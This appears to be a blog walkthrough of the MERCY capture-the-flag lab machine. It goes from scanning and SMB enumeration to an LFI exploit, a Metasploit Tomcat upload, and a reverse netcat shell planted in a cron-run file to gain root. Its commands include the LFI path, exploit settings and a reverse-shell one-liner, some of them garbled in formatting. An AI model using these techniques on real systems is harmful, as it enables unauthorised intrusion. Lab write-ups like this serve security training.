MERCY is a machine dedicated to Offensive Security for the
PWK course. MERCY is a name-play, and has nothing to do with the contents of
the vulnerable machine. You can download the Mercy
vulnerable lab from here. The challenge is to get root on the Targeted Virtual
Machine and read the proof.txt within that directory.
Flag: Proof.txt
Tables of Contents:
·
IP discovery and Port Scanning.
·
Browsing the IP on port 8080.
·
Decoding Base64 String.
·
Using Enum4linux tool for enumerating information of the
Target Machine.
·
Getting Login Credentials to connect via smbclient.
·
Port Knocking.
·
Discovering accessible directory’s on victim’s machine.
·
Browsing through discovered directory’s.
·
Searching exploit via searchsploit.
·
Finding Login Credentials for Tomcat Server.
·
Logging into Tomcat Server using Metasploit.
·
Exploiting Misconfiguration in the Target Machine.
·
Using Msfvenom for creating payload one-liner.
·
Getting root access.
·
Reading the flag.
Let’s Begin with the Walkthrough!!
Let’s start off with scanning the network to find our targets IP.netdiscover
We found our target –> 192.168.1.105
Our next motive is to scan the target IP with nmap.
nmap -A 192.168.1.105
The NMAP output shows various open ports: 22(ssh), 53(domain), 80(http), 110(pop3), 139(netbios-ssn), 143(imap), 445(netbios-ssn), 993(ssl/imaps), 995(ssl/pop3), 8080(http). Since port 80 is filtered we cannot directly browse the Target IP in the Browser. Here we got a clue as a entry /tryharder/tryharder in robot.txt as it might come in handy later on. Therefore we notice that port 8080 is open for Apache Tomcat/ Coyote JSP Engine 1.1. So we browse the Target IP on port 8080 on the browser.
Now browsing through the discovered entry /tryharder/tryharder on port 8080 gave us a base64 encoded string. Clearly we need to decode it to move ahead.
On decoding the base64 string we found some Login Credentials which can be of great use later on.
Since port 445 is open on the Target Machine, We thought of enumerating it using enum4linux tool.
enum4linux -a http://192.168.1.105
It gave us few shared folders which can be further used to connect via smbclient.
Now connecting via smbclient using credentials “qiu:password”.
smbclient \\\\192.168.1.105\\qiu -U qiu
Further exploring through directories we have downloaded the config file on our Linux Desktop.
Reading the contents of the config file gave us a sequence of ports to knock which will result in opening the http port 80.
Knocking the sequence of ports
using the following command:
knock 192.168.1.105 159 2739 4
Now from nmap scan we confirmed that http port 80 got open after knocking.
Since port 80 got open, we browsed
the Target IP on the browser which displayed the message as you can see in the
image, which came out to be useless to further proceed towards our goal.
Now we thought of enumerating for
accessible directories on the Target Machine.
dirb http://192.168.1.105
While browsing robots.txt file in the browser gave us
two disallowed hidden directories as shown in the image.
Bowsing through the directory 192.168.1.105/nomercy in the browser
opened a vulnerability scanner webpage whose banner RIPS 0.53 left us curious to search more about it.
Then while we search RIPS 0.53 over searchsploit, it came out to be an Multiple Local File Inclusions Exploit. Next we copied the exploit
over our Linux Desktop and read its copied text file as you can see in the
image. Here we also copied the one-liner /windows/code.php?file=../../../../../../etc/passwd.
We used LFI to take a look at the
content of the passwd file as it was shown in the POC.
192.168.1.105/nomercy/windows/code.php?file=../../../../../../etc/passwd
Since we know there is a tomcat service running on the target system we can take a look the tomcat-users.xml file using LFI that will provide us with the
username and password, browsing it on browser gave us two Login Credentials for Tomcat Server as shown on the image.
Logging into Tomcat server using Metasploit’s
Tomcat Manager using the following credentials “thisisasuperduperlonguser:heartbreakisinevitable”
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set
rhost 192.168.1.105
msf exploit(multi/http/tomcat_mgr_upload) > set
rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set
httpusername thisisasuperduperlonguser
msf exploit(multi/http/tomcat_mgr_upload) > set
httppassword heartbreakisinevitable
msf exploit(multi/http/tomcat_mgr_upload) > exploit
Now using a one-liner to spawn a
tty shell:
python -c 'import pty; pty.spawn("/bin/sh")'
Further logging in as user fluffy.
su fluffy
Password:
freakishfluffybunny
Exploring through various directories, we read a file timeclock which gave useful information
that a crontab service probably be running.
Moving on!! We created a one-liner payload using Msfvenom:
msfvenom
–p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=8888 R
After that append the one-liner payload in the timeclock file.
echo
“mkfifo /tmpmzlat; nc 192.168.1.109 8888 0
/tmp/zlat
2>&1; rm /tmp/zlat” >>timclockSince the one-liner got executed with the timeclock file. Therefore we got a reverse shell on our netcat listener. To spawn the shell we have used python -c 'import pty; pty.spawn("/bin/sh")'. Booyeah!! We have got the root access and found proof.txt. We take a look at the content of the file and greeted with a congratulatory message.
0 comments:
Post a Comment